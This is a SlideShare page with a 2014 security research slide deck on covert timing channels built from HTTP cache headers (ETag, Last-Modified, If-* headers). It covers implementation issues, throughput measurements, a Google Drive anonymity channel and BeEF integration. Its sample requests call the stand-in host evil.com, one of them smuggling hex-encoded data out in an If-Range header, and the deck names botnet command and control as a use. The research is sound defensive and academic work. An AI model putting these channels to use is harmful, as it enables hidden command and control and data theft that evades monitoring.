SlideShare a Scribd company logo
1 of 50
Download to read offline
COVERT TIMING CHANNELS
BASED ON HTTP CACHE
HEADERS
Denis Kolegov, Oleg Broslavsky, Nikita Oleksov
F5 Networks
Tomsk State University Information Security and Cryptography Department
Top 10 Web Hacking Techniques of 2014
Special Edition
ZeroNights (13-14 November 2014) Moscow, Russia
SibeCrypt (8-13 September 2014) Ekaterinburg, Russia
Who we are?
• Denis Kolegov
– Sr. security test engineer at F5 Networks
– PhD, associate professor at Tomsk State University Information
Security and Cryptography Department
• Oleg Broslavsky
– 3rd year student at Tomsk State University Information Security
and Cryptography Department
– Member of TSU’s SiBears Capture the Flag team
• Nikita Oleksov
– 3rd year student at Tomsk State University Information Security
and Cryptography Department
– Member of TSU’s SiBears Capture the Flag team 2
Prologue
This is a presentation of our research devoted to new
covert timing channels based on HTTP cache headers
We discovered previously unknown techniques and
introduced them on the ZeroNights and SibeCrypt security
conferences in 2014
In the current list of «Top 10 Web Hacking Techniques of
2014» there are many valuable and significant attacks
and, of course, we don’t think that our work is the best. We
are considering participation in 2014 Hacks as opportunity
for feedback and information sharing
3
Summary
We found and investigated previously unknown covert
timing channels based on main HTTP cache headers
We explored different properties of these covert channels
(e.g., throughput, anonymity, reliability)
We implemented most efficient ETag-based covert
channel in Browser Exploitation Framework (BeEF) for
covert communications
Also we implemented ETag-based covert timing channel
providing anonymity property to attackers in Google Drive
environment 4
Introduction
A covert channel is a path that can be used to transfer
information in a way not intended by the system's
designers (CWE-514)
A covert storage channel transfers information through the
setting of bits by one program and the reading of those
bits by another (CWE-515)
Covert timing channels conveys information by modulating
some aspect of system behavior over time, so that the
program receiving the information can observe system
behavior and infer protected information (CWE-385)
5
Introduction
HTTP is one of the most used protocol on the Internet so
detections of the covert channels over the HTTP is an
important research area
HTTP timing channels have received little attention in
computer security
The main HTTP covert timing channel throughput is equal
to 1.82 bps [1]. This channel doesn’t use any HTTP
mechanisms and is based on TCP/IP timing channel
Server-to-Client DNS-tunnel [3] implemented in BeEF has
throughput equal to 10 bit/s 6
7
HTTP Covert Channels’ Usage
• Implementation of communication channels
in targeted browsers (BeEF)
• Botnet command and control channels
• Key exchange in malicious software
• Transferring of illegal content
Introduction
8
RESPONSE (SERVER) HEADERS
• Last-Modified
• ETag
REQUEST (CLIENT) HEADERS
• If-Modified-Since
• If-Unmodified-Since
• If-Match
• If-Non-Match
• If-Range
General HTTP Cache Headers
9
Covert channels can be classified as client – server channels and
server – client channels
Client-server covert channels are easier to implement. Server-client
channels are more complicated and most of them are timing channels
For example, covert storage channel via If-Range header can be
implemented by the following way
Directions of Covert Channels
GET / HTTP/1.1
Host: evil.com
If-Range: 120c7bL-32bL-4f86d4105ac62L
…
Hex-encoded data
Last-Modified Response Header
10
Last-Modified HTTP header stores a date of the last web
entity’s modification
HTTP/1.1 200 OK
Server: nginx/1.1.19
Date: Wed, 02 Apr 2014 14:33:39 GMT
Content-Type: text/html
Content-Length: 124
Last-Modified: Wed, 02 Apr 2014 14:33:39 GMT
Connection: keep-alive
(data)
Request
Response
GET / HTTP/1.1
Host: evil.com
ETag Response Header
11
The ETag value is formed from the hex values by he
following way
HTTP/1.1 200 OK
Server: Apache/2.2.22 (Ubuntu)
Date: Wed, 02 Apr 2014 14:33:39 GMT
Content-Type: text/html
Content-Length: 124
ETag: 120c7bL-32bL-4f86d4105ac62L
Connection: keep-alive
(data)
Request
Response
GET / HTTP/1.1
Host: evil.com
120c7bL-32bL-4f86d4105ac62L
file's inode size last-modified time (mtime)
Common Usage of Cache Request Headers
12
HTTP cache headers allows to web-browsers not to
download a page if it hasn’t been changed since the
certain time
Request
Page has been
changed
HTTP/1.1 200 OK
(page data)
Page has not been
changed
HTTP/1.1 304 OK
(only headers)
GET / HTTP/1.1
Host: evil.com
If-Modified-Since:
Wed, 02 Apr 2014 14:33:39 GMT
(other headers)
GET / HTTP/1.1
Host: evil.com
If-None-Match:
120c7bL-32bL-4f86d4105ac62L
(other headers)
Common Usage of Cache Request Headers
13
Second pair of headers does the same as previous but
with logically inverse condition
Request
Page has been
changed
HTTP/1.1 412 OK
(page data)
Page has not been
changed
HTTP/1.1 200 OK
(only headers)
GET / HTTP/1.1
Host: evil.com
If-Unmodified-Since:
Wed, 02 Apr 2014 14:33:39 GMT
(other headers)
GET / HTTP/1.1
Host: evil.com
If-Match:
120c7bL-32bL-4f86d4105ac62L
(other headers)
DFD Threat Model
14
read write
writet
Server
page.html
Zombie
read writet read write
2 different threat models
Web server is fully
controlled by an attacker
Payload -- read-only
page.html -- write-only
Web server is not controlled
by an attacker
write
Trusted Boundaries
General Covert Channels Scheme
15
HTTP
request
Get new header
value
Received ‘1’
If the
header was
changed
Store header value
Received ‘0’
Wait
n seconds
then else
16
RESPONSE (SERVER) HEADERS
• Last-Modified
• ETag
REQUEST (CLIENT) HEADERS
• If-Modified-Since
• If-Unmodified-Since
• If-Match
• If-Non-Match
• If-Range
General HTTP Cache Headers
Last-Modified Based Channels
17
HTTP
request
Get Last-Modified header
value
Received ‘1’
If the header
value was
changed
Store header value
Received ‘0’
Wait
n
seconds
then else
Last-Modified header value covert channel
Last-Modified:
Wed, 02 Apr 2014
14:33:39 GMT
Classification
18
Covert Timing Channels based on HTTP-date entities
• Based on Last-Modified header
• Based on If-Modified-Since header
• Based on If-Unmodified-Since header
Covert Timing Channels based on ETag entities
• Based on ETag header
• Based on If-Match header
• Based on If-None-Match header
Last-Modified based Channel
19
Zombie requests page.html and receives the HTTP
response that contains initial Last-Modified value HTTP-
date0
Server performs read or write access to the page.html
To obtain 1 bit of information Zombie request page.html
again and compares the new Last-Modified value HTTP-
date1 with the old one
If HTTP-date1 and HTTP-date0 is not the same, so the
Server has sent 1, otherwise Server has sent 0
If-Modified-Since based Channel
20
Covert channel based If-Modified-Since header
If-Modified-Since:
Wed, 02 Apr 2014
14:33:39 GMT
If-Modified
request
Received ‘1’
If HTTP code
is “200”
Store header value
Received ‘0’
Wait
n
secondsthen else
If-Unmodified-Since based Channel
21
If-Unmodified
request
Received ‘1’
If HTTP code
is “412”
Store header value
Received ‘0’
Wait
n
secondsthen else
Covert channel based on If-Unmodified-Since header
If-Unmodified-Since:
Wed, 02 Apr 2014
14:33:39 GMT
ETag based Channel
22
Zombie requests page.html and receives the HTTP
response that contains initial ETag value entity-tag0
Server performs read or write access to the page.html
To obtain 1 bit of information Zombie request page.html
again and compares the new ETag value entity-tag1
If entity-tag1 and entity-tag0 is not the same, so the Server
has sent 1, otherwise Server has sent 0
ETag based Channel
23
Covert channel based on ETag header
ETag:
120c7bL-32bL-
4f86d4105ac62L
HTTP
request
Get ETag header value
Received ‘1’
If the header
value was
changed
Store header value
Received ‘0’
Wait
n
seconds
then else
ETag based Channel
24
Covert channel based on If-None-Match header
If-None-Match:
120c7bL-32bL-
4f86d4105ac62L
If-None-Match
request
Received ‘1’
If HTTP code
is “200”
Store header value
Received ‘0’
Wait
n
secondsthen else
ETag based Channel
25
Covert channel based If-Match header
If-Match:
120c7bL-32bL-
4f86d4105ac62L
If-Match
request
Received ‘1’
If HTTP code
is “412”
Store header value
Received ‘0’
Wait
n
secondsthen else
Software Implementation
In tons of possible ways we focused on
• Python – Socket library
• C++ – Boost ASIO library
• С – simple C socket library
We chose C due to its highest performance (among these
ways) and decent stability
First threat model was chosen because of its minimal
requirements
26
Issues
Issue Solution
Server-client synchronization Special synchronizing function
Different time of requests Dynamic sleep time
Lateness after sleep “Active” sleep
High CPU load with “active sleep” “Dynamic” and “active” sleep
combination
27
Some problems we solved during implementation
28
Send HTTP
request
Get host response
If page has
been changed
then else
Necessity of synchronization “read” (web client) and “write” (host)
services
Solution
Synchronizing function that does requests at a maximum speed
(without sleep)
Issues
29
Different time of requests can break services
synchronization
Solution
Dynamic sleep time equals to sleep_time – diff_time
Calculate time
took for request
diff_time
Sleep
(sleep_time – diff_time) µs
Issues
30
Inaccurate sleep - after sleep (usleep() is used) the
program can awake with 10-200μs lateness
Solution:
Use “active sleep” - calculation time difference between last
request and current moment while it is less than sleep_time
Issues
Calc diff_time
thenelse If diff_time <
sleep_time
31
High CPU load with “active sleep”
Solution
Combine “active” and “dynamic” sleep
Calculate diff_time
If diff_time < CONST
thenelse
Sleep
(sleep_time – CONST – request_time)
where CONST is constant about 1000 µs (or less depending on
PC performance)
Issues
32
Sleep time
Min start
sequence
Avg
sequence
Max
sequence
Speed Accuracy
1 second 3200 bits 8848 bits 19712 bits 1bit/s 99,82%
2 seconds 3400 bits 10145 bits 22143 bits 0.5 bit/s 99,87%
• C-based implementation in the first threat model
• Min start sequence – minimum number of bits passed
from the beginning of a conversation till the first mistake
• Avg and Max sequence – number of bits passed without
any mistakes in a row in average and at best
• Accuracy – percent of correctly transmitted bits
Experiment 1
33
Sleep time
Min start
sequence
Avg
sequence
Max
sequence
Speed Accuracy
1 second 3200 bits 8848 bits 19712 bits 1bit/s 99,82%
0.5
seconds
2400 bits 8142 bits 18123 bits 2 bit/s 99,5%
• C-based implementation in the first threat model
• ETag contains mtime (last modified time with
microsecond accuracy), so theoretical channel capacity
is bigger than its practically possible one.
• Maximum practical speed of the covert channels is about
1 bit per (2L+T) seconds, where L is HTTP latency
between u2 and s1 and T is a time that is needed for
auxiliary operations
Experiment 2
Google Drive API Anonymity Channel
34
Most of the cloud services for file hosting like Dropbox,
Google Drive and others allow users to operate with files’
ETags and other cache-control headers
So it is possible to implement ETag based covert timing
channel in the first threat model: there are channel
processes Server(attacker1) and Zombie (attacker2) on
different hosts and fully trusted web server
https://drive.google.com/drive/ with some file hosted on it.
The only requirement for that is file should be accessible
for writing by attacker1 and for reading by attacker2
Google Drive API Anonymity Channel
Covert channel’s logic is the same as before:
• attacker1 sends a request to Google Drive API
POST https://www.googleapis.com/drive/v2/files/fileId/touch
to modify file’s last access time (and hence ETag)
• attacker2 sends a request to Google Drive API
GET https://www.googleapis.com/drive/v2/files/fileId
to get file’s metadata (including ETag)
This channel has property that provides anonymity
for communications between Server and Zombie
35
Experiment 3
36
Message length 256 bit 512 bit 1024 bit 2048 bit 4096 bit
Accuracy 99.87% 99.84% 99.8% 99.8% 99.78%
Average
throughput
2.92 bit/s 2.9 bit/s 2.88 bit/s 2.88 bit/s 2.86 bit/s
Google Drive API anonymity covert channel based on
ETag header
Advantages in the First Threat Model
37
• Anonymity
• Does not modify common HTTP request structure
• Does not require web-server modifications
• Any read-only activity on web page that is used by the
channel do not break its work
• Information flow looks like something refreshes a web
page every n seconds
• Covert channels based on If-* headers can work even if
Last-Modified or Etag are disabled
Second Threat Model
In the second threat model we can avoid necessity of
client-server synchronization by waiting for the request and
responding directly
38
Send new header
value
Send old header
value
If current
message
bit is ‘1’
Store header value
then else
WAIT for HTTP
request
Experiment 4
C-based client, Apache + PHP-based server
39
Header Network
Average
HTTP ping
Speed
ETag
Local host 0.55 ms 986 bit/s
«Digital Ocean» DC LAN 1.63 ms 845.65 bit/s
LAN 6.9 ms 295.69 bit/s
Internet 113.2 ms 13.09 bit/s
Experiment 5
C-based client, Flask + Python-based server
40
Header Network
Average
HTTP ping
Speed
ETag
Local host 0.55 ms 981 bit/s
«Digital Ocean» DC LAN 1.63 ms 865.83 bit/s
LAN 6.9 ms 293.9 bit/s
Internet 103.2 ms 14.39 bit/s
Advantages in Second Threat Model
41
• Does not modify common HTTP request structure
• Information flow looks like something refreshes a web
page every n seconds
• Higher throughput
• Reliability
• Simplicity
• This approach is applicable for implementation of covert
channels based on HTTP cache headers in browsers
Covert Channels in Browsers
Issues
• Lack of any “sleep” function
• Low accuracy of existing time management functions
• Difficulties with synchronization of covert channel’s
server and client
So implementation of the used model is pointless, but it is
possible to implement covert channels in these restrictions
using controlled web server in the second threat model
42
Implementation of ETag-based covert channel in browser
(client on JavaScript)
43
Experiment 6
Header Server
Average
HTTP
ping
Throughput
Last-Modified 0.045 ms 70 ms 1 bit/s
Last-Modified 18 ms 68 ms 1 bit/s
ETag Python 66 ms 11.51 bit/s
ETag PHP 72 ms 10.8 bit/s
Covert Channels in BeEF
“BeEF allows the professional penetration tester to assess the actual
security posture of a target environment by using client-side attack
vectors.”
The main idea was proposed in Kenton Born’s paper “Browser-based
covert data exfiltration” [2] and is being used in BeEF [3]
To investigate covert timing channels in browsers we implemented
server-to-client DNS and ETag Tunnels using AJAX and then added
them to BeEF
44
ETag-based timing channel in BeEF
45
Issue Solution
Server-client synchronization Client does special request to begin
conversation
End of message determination Client receive some special HTTP
code in response, e.g. 404 – Not
Found or 403 - Forbidden
Single client communication only Open a session that stores transferring
bit number for each client
ETag-based timing channel in BeEF
46
ETag Tunnel in BeEF consists s of classic two parts
• extension on Ruby, that implements server side logic via
couple of web pages mounted to BeEF webserver
• module on JavaScript, that is responsible for receiving
information from C&C BeEF server at zombie
Sources
• https://github.com/beefproject/beef/tree/master/modules/i
pec/etag_client
• https://github.com/beefproject/beef/tree/master/extension
s/etag
Implementation of ETag-based covert channel in browser
(client on JavaScript)
47
Experiment 7
Network
Average
ping
Average
HTTP
ping
256 bit 1024 bit
Local host 0.045 ms 0.6 ms 10.11 bit/s 9.9 bit/s
Local network 18 ms 19.8 ms 10.3 bit/s 9.78 bit/s
Internet 176 ms 360.9 ms 5.09 bit/s 4.97 bit/s
48
Proof of Concept
http://youtu.be/W2qWA7XUzGQ
https://github.com/beefproject/beef
Bibliography
49
1. Johnson D., Yuan Bo; Lutz P., Brown E. Covert channels in the HTTP
network protocol: Channel characterization and detecting man-in-the-
middle attacks. URL: https://ritdml.rit.edu/handle/1850/14797
2. Kenton Born. «Browser-based covert data exfiltration». URL:
http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf
3. W. Alcorn, C. Frichot, M. Orru. «The Browser Hacker’s Handbook».
URL: http://eu.wiley.com/WileyCDA/WileyTitle/productCd-
1118662091.html
50
Denis Kolegov
dnkolegov@gmail.com
@dnkolegov
Oleg Broslavsky
ovbroslavsky@gmail.com
@yalegko
Nikita Oleksov
neoleksov@gmail.com
@neoleksov

More Related Content

What's hot

Lec 7(HTTP Protocol)
Lec 7(HTTP Protocol)Lec 7(HTTP Protocol)
Lec 7(HTTP Protocol)maamir farooq
 
Http requesting smuggling
Http requesting smugglingHttp requesting smuggling
Http requesting smugglingApijay Kumar
 
21 HTTP Protocol #burningkeyboards
21 HTTP Protocol #burningkeyboards21 HTTP Protocol #burningkeyboards
21 HTTP Protocol #burningkeyboardsDenis Ristic
 
Introduction to HTTP protocol
Introduction to HTTP protocolIntroduction to HTTP protocol
Introduction to HTTP protocolAviran Mordo
 
Http basics by-joshi_29_4_15-ppt
Http basics by-joshi_29_4_15-pptHttp basics by-joshi_29_4_15-ppt
Http basics by-joshi_29_4_15-pptQwinix Technologies
 
Http response splitting
Http response splittingHttp response splitting
Http response splittingSharath Unni
 
Efficient HTTP Apis
Efficient HTTP ApisEfficient HTTP Apis
Efficient HTTP ApisAdrian Cole
 
The constrained application protocol (coap) part 2
The constrained application protocol (coap)  part 2The constrained application protocol (coap)  part 2
The constrained application protocol (coap) part 2Hamdamboy (함담보이)
 
gRPC on .NET Core - NDC Sydney 2019
gRPC on .NET Core - NDC Sydney 2019gRPC on .NET Core - NDC Sydney 2019
gRPC on .NET Core - NDC Sydney 2019James Newton-King
 
Interactive web. O rly?
Interactive web. O rly?Interactive web. O rly?
Interactive web. O rly?timbc
 
Revisiting HTTP/2
Revisiting HTTP/2Revisiting HTTP/2
Revisiting HTTP/2Fastly
 
Nginx Scalable Stack
Nginx Scalable StackNginx Scalable Stack
Nginx Scalable StackBruno Paiuca
 

What's hot (19)

Lec 7(HTTP Protocol)
Lec 7(HTTP Protocol)Lec 7(HTTP Protocol)
Lec 7(HTTP Protocol)
 
Http protocol
Http protocolHttp protocol
Http protocol
 
Http requesting smuggling
Http requesting smugglingHttp requesting smuggling
Http requesting smuggling
 
21 HTTP Protocol #burningkeyboards
21 HTTP Protocol #burningkeyboards21 HTTP Protocol #burningkeyboards
21 HTTP Protocol #burningkeyboards
 
HTTP
HTTPHTTP
HTTP
 
Introduction to HTTP protocol
Introduction to HTTP protocolIntroduction to HTTP protocol
Introduction to HTTP protocol
 
Http basics by-joshi_29_4_15-ppt
Http basics by-joshi_29_4_15-pptHttp basics by-joshi_29_4_15-ppt
Http basics by-joshi_29_4_15-ppt
 
computer networking
computer networkingcomputer networking
computer networking
 
Cache poisoning
Cache poisoningCache poisoning
Cache poisoning
 
Http response splitting
Http response splittingHttp response splitting
Http response splitting
 
Http methods
Http methodsHttp methods
Http methods
 
Efficient HTTP Apis
Efficient HTTP ApisEfficient HTTP Apis
Efficient HTTP Apis
 
The constrained application protocol (coap) part 2
The constrained application protocol (coap)  part 2The constrained application protocol (coap)  part 2
The constrained application protocol (coap) part 2
 
gRPC on .NET Core - NDC Sydney 2019
gRPC on .NET Core - NDC Sydney 2019gRPC on .NET Core - NDC Sydney 2019
gRPC on .NET Core - NDC Sydney 2019
 
Interactive web. O rly?
Interactive web. O rly?Interactive web. O rly?
Interactive web. O rly?
 
Serialization in Go
Serialization in GoSerialization in Go
Serialization in Go
 
Revisiting HTTP/2
Revisiting HTTP/2Revisiting HTTP/2
Revisiting HTTP/2
 
Nginx Scalable Stack
Nginx Scalable StackNginx Scalable Stack
Nginx Scalable Stack
 
Grpc present
Grpc presentGrpc present
Grpc present
 

Viewers also liked

David Fuertes - Señales Débiles. ¿Nos protegemos sabiendo que nos van a ataca...
David Fuertes - Señales Débiles. ¿Nos protegemos sabiendo que nos van a ataca...David Fuertes - Señales Débiles. ¿Nos protegemos sabiendo que nos van a ataca...
David Fuertes - Señales Débiles. ¿Nos protegemos sabiendo que nos van a ataca...RootedCON
 
Non-Invasive Elimination of Logical Access Control Vulnerabilities in Web A...
Non-Invasive Elimination of  Logical Access Control  Vulnerabilities in Web A...Non-Invasive Elimination of  Logical Access Control  Vulnerabilities in Web A...
Non-Invasive Elimination of Logical Access Control Vulnerabilities in Web A...Denis Kolegov
 
Presentacion HTTP/HTTPS/DNS
Presentacion HTTP/HTTPS/DNSPresentacion HTTP/HTTPS/DNS
Presentacion HTTP/HTTPS/DNSjalvarezpiedra
 
PROTOCOLO HTTPS
PROTOCOLO HTTPSPROTOCOLO HTTPS
PROTOCOLO HTTPSByron
 

Viewers also liked (8)

Covert Channels
Covert ChannelsCovert Channels
Covert Channels
 
David Fuertes - Señales Débiles. ¿Nos protegemos sabiendo que nos van a ataca...
David Fuertes - Señales Débiles. ¿Nos protegemos sabiendo que nos van a ataca...David Fuertes - Señales Débiles. ¿Nos protegemos sabiendo que nos van a ataca...
David Fuertes - Señales Débiles. ¿Nos protegemos sabiendo que nos van a ataca...
 
Non-Invasive Elimination of Logical Access Control Vulnerabilities in Web A...
Non-Invasive Elimination of  Logical Access Control  Vulnerabilities in Web A...Non-Invasive Elimination of  Logical Access Control  Vulnerabilities in Web A...
Non-Invasive Elimination of Logical Access Control Vulnerabilities in Web A...
 
Firewall Defense against Covert Channels
Firewall Defense against Covert Channels Firewall Defense against Covert Channels
Firewall Defense against Covert Channels
 
cyber Forensics
cyber Forensicscyber Forensics
cyber Forensics
 
Presentacion http y https
Presentacion http y httpsPresentacion http y https
Presentacion http y https
 
Presentacion HTTP/HTTPS/DNS
Presentacion HTTP/HTTPS/DNSPresentacion HTTP/HTTPS/DNS
Presentacion HTTP/HTTPS/DNS
 
PROTOCOLO HTTPS
PROTOCOLO HTTPSPROTOCOLO HTTPS
PROTOCOLO HTTPS
 

Similar to Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 10 Web Hacking Techniques of 2014)

HTTP/2 Comes to Java: Servlet 4.0 and what it means for the Java/Jakarta EE e...
HTTP/2 Comes to Java: Servlet 4.0 and what it means for the Java/Jakarta EE e...HTTP/2 Comes to Java: Servlet 4.0 and what it means for the Java/Jakarta EE e...
HTTP/2 Comes to Java: Servlet 4.0 and what it means for the Java/Jakarta EE e...Edward Burns
 
Computer network (10)
Computer network (10)Computer network (10)
Computer network (10)NYversity
 
application of http.pptx
application of http.pptxapplication of http.pptx
application of http.pptxssuseraf60311
 
Advanced Web Design And Development BIT 3207
Advanced Web Design And Development BIT 3207Advanced Web Design And Development BIT 3207
Advanced Web Design And Development BIT 3207Lori Head
 
Httpbasics 1207412539273264-9-converted
Httpbasics 1207412539273264-9-convertedHttpbasics 1207412539273264-9-converted
Httpbasics 1207412539273264-9-convertedcomputerorganization
 
A new Internet? Intro to HTTP/2, QUIC, DoH and DNS over QUIC
A new Internet? Intro to HTTP/2, QUIC, DoH and DNS over QUICA new Internet? Intro to HTTP/2, QUIC, DoH and DNS over QUIC
A new Internet? Intro to HTTP/2, QUIC, DoH and DNS over QUICAPNIC
 
Enabling Googley microservices with HTTP/2 and gRPC.
Enabling Googley microservices with HTTP/2 and gRPC.Enabling Googley microservices with HTTP/2 and gRPC.
Enabling Googley microservices with HTTP/2 and gRPC.Alex Borysov
 
HyperText Transfer Protocol (HTTP)
HyperText Transfer Protocol (HTTP)HyperText Transfer Protocol (HTTP)
HyperText Transfer Protocol (HTTP)Gurjot Singh
 
HTML5, HTTP2, and You 1.1
HTML5, HTTP2, and You 1.1HTML5, HTTP2, and You 1.1
HTML5, HTTP2, and You 1.1Daniel Austin
 
A New Internet? Introduction to HTTP/2, QUIC and DOH
A New Internet? Introduction to HTTP/2, QUIC and DOHA New Internet? Introduction to HTTP/2, QUIC and DOH
A New Internet? Introduction to HTTP/2, QUIC and DOHAPNIC
 
Cleaning Up the Dirt of the Nineties - How New Protocols are Modernizing the Web
Cleaning Up the Dirt of the Nineties - How New Protocols are Modernizing the WebCleaning Up the Dirt of the Nineties - How New Protocols are Modernizing the Web
Cleaning Up the Dirt of the Nineties - How New Protocols are Modernizing the WebSteffen Gebert
 
Web Application Technologies
Web Application TechnologiesWeb Application Technologies
Web Application TechnologiesSehan Lee
 
Openstack meetup lyon_2017-09-28
Openstack meetup lyon_2017-09-28Openstack meetup lyon_2017-09-28
Openstack meetup lyon_2017-09-28Xavier Lucas
 
Deploy secure, scalable, and highly available web apps with Azure Front Door ...
Deploy secure, scalable, and highly available web apps with Azure Front Door ...Deploy secure, scalable, and highly available web apps with Azure Front Door ...
Deploy secure, scalable, and highly available web apps with Azure Front Door ...Stamo Petkov
 
Primer to Browser Netwroking
Primer to Browser NetwrokingPrimer to Browser Netwroking
Primer to Browser NetwrokingShuya Osaki
 
HTTP2 in action - Piet Van Dongen - Codemotion Amsterdam 2017
HTTP2 in action - Piet Van Dongen - Codemotion Amsterdam 2017HTTP2 in action - Piet Van Dongen - Codemotion Amsterdam 2017
HTTP2 in action - Piet Van Dongen - Codemotion Amsterdam 2017Codemotion
 

Similar to Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 10 Web Hacking Techniques of 2014) (20)

HTTP/2 Comes to Java: Servlet 4.0 and what it means for the Java/Jakarta EE e...
HTTP/2 Comes to Java: Servlet 4.0 and what it means for the Java/Jakarta EE e...HTTP/2 Comes to Java: Servlet 4.0 and what it means for the Java/Jakarta EE e...
HTTP/2 Comes to Java: Servlet 4.0 and what it means for the Java/Jakarta EE e...
 
Computer network (10)
Computer network (10)Computer network (10)
Computer network (10)
 
application of http.pptx
application of http.pptxapplication of http.pptx
application of http.pptx
 
Advanced Web Design And Development BIT 3207
Advanced Web Design And Development BIT 3207Advanced Web Design And Development BIT 3207
Advanced Web Design And Development BIT 3207
 
Httpbasics 1207412539273264-9-converted
Httpbasics 1207412539273264-9-convertedHttpbasics 1207412539273264-9-converted
Httpbasics 1207412539273264-9-converted
 
A new Internet? Intro to HTTP/2, QUIC, DoH and DNS over QUIC
A new Internet? Intro to HTTP/2, QUIC, DoH and DNS over QUICA new Internet? Intro to HTTP/2, QUIC, DoH and DNS over QUIC
A new Internet? Intro to HTTP/2, QUIC, DoH and DNS over QUIC
 
HTTP1.1/2 overview
HTTP1.1/2 overviewHTTP1.1/2 overview
HTTP1.1/2 overview
 
HTTP_2.ppt
HTTP_2.pptHTTP_2.ppt
HTTP_2.ppt
 
HTTP.ppt
HTTP.pptHTTP.ppt
HTTP.ppt
 
HTTP.ppt
HTTP.pptHTTP.ppt
HTTP.ppt
 
Enabling Googley microservices with HTTP/2 and gRPC.
Enabling Googley microservices with HTTP/2 and gRPC.Enabling Googley microservices with HTTP/2 and gRPC.
Enabling Googley microservices with HTTP/2 and gRPC.
 
HyperText Transfer Protocol (HTTP)
HyperText Transfer Protocol (HTTP)HyperText Transfer Protocol (HTTP)
HyperText Transfer Protocol (HTTP)
 
HTML5, HTTP2, and You 1.1
HTML5, HTTP2, and You 1.1HTML5, HTTP2, and You 1.1
HTML5, HTTP2, and You 1.1
 
A New Internet? Introduction to HTTP/2, QUIC and DOH
A New Internet? Introduction to HTTP/2, QUIC and DOHA New Internet? Introduction to HTTP/2, QUIC and DOH
A New Internet? Introduction to HTTP/2, QUIC and DOH
 
Cleaning Up the Dirt of the Nineties - How New Protocols are Modernizing the Web
Cleaning Up the Dirt of the Nineties - How New Protocols are Modernizing the WebCleaning Up the Dirt of the Nineties - How New Protocols are Modernizing the Web
Cleaning Up the Dirt of the Nineties - How New Protocols are Modernizing the Web
 
Web Application Technologies
Web Application TechnologiesWeb Application Technologies
Web Application Technologies
 
Openstack meetup lyon_2017-09-28
Openstack meetup lyon_2017-09-28Openstack meetup lyon_2017-09-28
Openstack meetup lyon_2017-09-28
 
Deploy secure, scalable, and highly available web apps with Azure Front Door ...
Deploy secure, scalable, and highly available web apps with Azure Front Door ...Deploy secure, scalable, and highly available web apps with Azure Front Door ...
Deploy secure, scalable, and highly available web apps with Azure Front Door ...
 
Primer to Browser Netwroking
Primer to Browser NetwrokingPrimer to Browser Netwroking
Primer to Browser Netwroking
 
HTTP2 in action - Piet Van Dongen - Codemotion Amsterdam 2017
HTTP2 in action - Piet Van Dongen - Codemotion Amsterdam 2017HTTP2 in action - Piet Van Dongen - Codemotion Amsterdam 2017
HTTP2 in action - Piet Van Dongen - Codemotion Amsterdam 2017
 

More from Denis Kolegov

Database Firewall from Scratch
Database Firewall from ScratchDatabase Firewall from Scratch
Database Firewall from ScratchDenis Kolegov
 
F5 BIG-IP Misconfigurations
F5 BIG-IP MisconfigurationsF5 BIG-IP Misconfigurations
F5 BIG-IP MisconfigurationsDenis Kolegov
 
SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийDenis Kolegov
 
SibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийSibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийDenis Kolegov
 
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...Denis Kolegov
 
Моделирование безопасности управления доступом и информационными потоками на ...
Моделирование безопасности управления доступом и информационными потоками на ...Моделирование безопасности управления доступом и информационными потоками на ...
Моделирование безопасности управления доступом и информационными потоками на ...Denis Kolegov
 
Development and Implementation of Mandatory Access Control Policy for RDBMS M...
Development and Implementation of Mandatory Access Control Policy for RDBMS M...Development and Implementation of Mandatory Access Control Policy for RDBMS M...
Development and Implementation of Mandatory Access Control Policy for RDBMS M...Denis Kolegov
 
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...Denis Kolegov
 
О построении иерархического ролевого управления доступом (SibeCrypt 2012)
О построении иерархического ролевого управления доступом (SibeCrypt 2012)О построении иерархического ролевого управления доступом (SibeCrypt 2012)
О построении иерархического ролевого управления доступом (SibeCrypt 2012)Denis Kolegov
 
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...Denis Kolegov
 

More from Denis Kolegov (10)

Database Firewall from Scratch
Database Firewall from ScratchDatabase Firewall from Scratch
Database Firewall from Scratch
 
F5 BIG-IP Misconfigurations
F5 BIG-IP MisconfigurationsF5 BIG-IP Misconfigurations
F5 BIG-IP Misconfigurations
 
SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложений
 
SibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийSibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложений
 
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
 
Моделирование безопасности управления доступом и информационными потоками на ...
Моделирование безопасности управления доступом и информационными потоками на ...Моделирование безопасности управления доступом и информационными потоками на ...
Моделирование безопасности управления доступом и информационными потоками на ...
 
Development and Implementation of Mandatory Access Control Policy for RDBMS M...
Development and Implementation of Mandatory Access Control Policy for RDBMS M...Development and Implementation of Mandatory Access Control Policy for RDBMS M...
Development and Implementation of Mandatory Access Control Policy for RDBMS M...
 
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
